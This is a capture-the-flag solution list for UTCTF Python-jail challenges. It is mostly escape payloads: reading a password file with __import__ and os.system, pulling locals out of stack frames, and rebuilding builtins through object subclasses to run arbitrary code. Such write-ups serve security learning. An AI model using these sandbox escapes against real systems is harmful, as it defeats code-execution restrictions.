- Event: UTCTF
- Problem Type: Misc (moved to Web)
- Point Value / Difficulty: Medium
This is just solutions so far; at some point I'll write a better writeup.
Some useful tools for escaping pyjails, that someone linked during the CTF:
https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes
Solutions:
input: solution
input: password
Any of the solutions for later problems should work for this one.
Solutions:
__import__('io').open('password.txt').read()
__import__('builtins').open('password.txt').read()
__import__('os').system('cat password.txt')Any of the solutions for later problems should work for this one.
Originally intended solutions:
[frame.frame.f_locals.get("password") for frame in __import__("inspect").stack()]
[frame.frame.f_locals for frame in __import__("inspect").stack() if not ("<" in frame.filename or "/usr/lib" in frame.filename)]
__import__('sys')._getframe(1).f_locals["password"] # May have to adjust the stack depthOther solutions people came up with:
__import__("__main__").password # Uh, whoops... (this wasn't an intended solution, but it's creative)
type('A', (), {'__eq__': lambda x,y: True})() # Make a class that always returns true to comparisons
__import__('importlib').import_module('unittest.mock').ANY # Same as above, using a librarySome people used __import__('random').getstate() and rolled back the random state to get the answer --
it's really interesting, but I have no clue how to actually implement that.
This one requires escaping a python jail without builtins; it's a reasonably well documented problem, with a variety of different solutions. I like these ones because they're more general and not specific to the problem itself (ie. it's easy to run arbitrary code):
Solutions:
(lambda cls=(lambda n:[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__==n][0]):
lambda __builtins__=(cls("catch_warnings")()._module.__builtins__):
[frame.frame.f_locals.get("password") for frame in __builtins__["__import__"]("inspect").stack()]
)()()
(lambda b=((lambda n:[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__==n][0])("catch_warnings")()._module.__builtins__):
b["eval"]("""[frame.frame.f_locals.get("password") for frame in __import__("inspect").stack()]""", {"__builtins__": b})
)()